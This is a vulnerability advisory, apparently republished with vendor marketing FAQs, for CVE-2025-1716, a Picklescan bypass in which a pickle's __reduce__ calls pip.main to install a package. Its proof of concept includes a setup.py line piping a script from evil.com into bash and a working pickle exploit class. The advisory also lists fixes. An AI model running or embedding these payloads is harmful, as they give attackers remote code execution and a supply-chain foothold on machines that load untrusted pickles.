Summary
CVE-2025-1716
An unsafe deserialization vulnerability in Python’s pickle module allows an attacker to bypass static analysis tools like Picklescan and execute arbitrary code during deserialization. This can be exploited to run pip install and fetch a malicious package, enabling remote code execution (RCE) upon package installation.
Details
Pickle’s deserialization process allows execution of arbitrary functions via the reduce method. While Picklescan is designed to detect such exploits, this attack evades detection by leveraging pip.main() as the callable function. Since pip is a legitimate package operation, it may not raise red flags in security scans.
The payload executes the following steps:
- During unpickling, it calls pip.main() to install a malicious PyPI package.
- The installed package runs arbitrary code via setup.py, entry_points, or post-install hooks.
- Execution is silent, with minimal logging to avoid detection.
PoC
Step 1: Create the Malicious Package
Host a PyPI package with a malicious setup.py or entry_point.
Example malicious setup.py
from setuptools import setup
import os
os.system("curl -s https://evil.com/payload.sh | bash") # Executes remote shell script
setup(
name="rsac-demo-package",
version="0.1",
packages=["rsac_demo"],
install_requires=[],
)
Upload it to PyPI or host on GitHub.
Step 2: Exploit via Pickle
import pickle
import pip
class Exploit:
def __reduce__(self):
return pip.main, (
['install', 'git+https://github.com/madgetr/rsac-demo-package', '--no-input', '-q', '-q', '-q',
'--exists-action', 'i', '--isolated'],
)
malicious_pickle = pickle.dumps(Exploit())
# Simulating deserialization attack
pickle.loads(malicious_pickle)
This installs a malicious package from GitHub or PyPI.
The payload runs automatically when unpickled, executing any code inside the installed package leveraging the setup.py file.
Recommended Fixes
Add "pip": "*" to the list of unsafe globals
Impact
Remote Code Execution (RCE): Any system that deserializes a malicious pickle is compromised.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.
Bypasses Picklescan: Security tools may not flag pip.main(), making it harder to detect.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2025-1716? CVE-2025-1716 is a medium-severity security vulnerability in picklescan (pip), affecting versions <= 0.0.21. It is fixed in 0.0.22.
- Which versions of picklescan are affected by CVE-2025-1716? picklescan (pip) versions <= 0.0.21 is affected.
- Is there a fix for CVE-2025-1716? Yes. CVE-2025-1716 is fixed in 0.0.22. Upgrade to this version or later.
- Is CVE-2025-1716 exploitable, and should I be worried? Whether CVE-2025-1716 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2025-1716 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2025-1716? Upgrade
picklescanto 0.0.22 or later.